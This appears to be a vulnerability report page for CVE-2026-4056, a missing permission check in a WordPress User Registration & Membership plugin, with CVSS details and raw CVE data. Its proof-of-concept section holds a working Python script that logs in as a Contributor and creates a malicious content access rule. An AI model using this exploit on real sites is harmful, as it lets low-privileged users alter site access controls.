Security Vulnerability Report
中文
CVE-2026-4056 CVSS 5.4 MEDIUM

CVE-2026-4056

Published: 2026-03-24 00:16:31
Last Modified: 2026-04-24 16:32:54

Description

The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Content Access Rules REST API endpoints in versions 5.0.1 through 5.1.4. This is due to the `check_permissions()` method only checking for `edit_posts` capability instead of an administrator-level capability. This makes it possible for authenticated attackers, with Contributor-level access and above, to list, create, modify, toggle, duplicate, and delete site-wide content restriction rules, potentially exposing restricted content or denying legitimate user access.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

User Registration & Membership Plugin 5.0.1 - 5.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-json/user-registration/v1/content-access-rules" username = "contributor_user" password = "password123" # Create a session to simulate the authenticated user session = requests.Session() # Perform login to get authentication cookies login_payload = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "http://example.com/wp-admin/", "testcookie": "1" } session.post("http://example.com/wp-login.php", data=login_payload) # Payload to create a malicious content access rule # This attempts to open restricted content to everyone or block legitimate users exploit_payload = { "title": "Malicious Access Rule", "content_access_type": "restrict", # or 'unrestrict' "selected_roles": ["subscriber"], # Modify who can access "selected_content_type": "all" } # Send the exploit request response = session.post(target_url, json=exploit_payload) # Check the result if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Access rule modified.") print("[+] Response:", response.text) else: print("[-] Exploit failed.") print("[-] Status Code:", response.status_code)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4056", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:31.403", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Content Access Rules REST API endpoints in versions 5.0.1 through 5.1.4. This is due to the `check_permissions()` method only checking for `edit_posts` capability instead of an administrator-level capability. This makes it possible for authenticated attackers, with Contributor-level access and above, to list, create, modify, toggle, duplicate, and delete site-wide content restriction rules, potentially exposing restricted content or denying legitimate user access."}, {"lang": "es", "value": "El plugin User Registration & Membership para WordPress es vulnerable a la modificación no autorizada de datos debido a una comprobación de capacidad faltante en los endpoints de la API REST de Reglas de Acceso al Contenido en las versiones 5.0.1 a 5.1.4. Esto se debe a que el método 'check_permissions()' solo comprueba la capacidad 'edit_posts' en lugar de una capacidad de nivel de administrador. Esto hace posible que atacantes autenticados, con acceso de nivel de Colaborador y superior, puedan listar, crear, modificar, alternar, duplicar y eliminar reglas de restricción de contenido de todo el sitio, exponiendo potencialmente contenido restringido o denegando el acceso a usuarios legítimos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/user-registration/tags/5.1.1/modules/content-restriction/includes/RestApi/controllers/version1/class-urcr-content-access-rules.php#L116", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/user-registration/trunk/modules/content-restriction/includes/RestApi/controllers/version1/class-urcr-content-access-rules.php#L116", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3485702/user-registration/trunk/modules/content-restriction/includes/RestApi/controllers/version1/class-urcr-content-access-rules.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7bb5a5a2-9644-4850-a5f9-7c925af000c8?source=cve", "source": "[email protected]"}]}}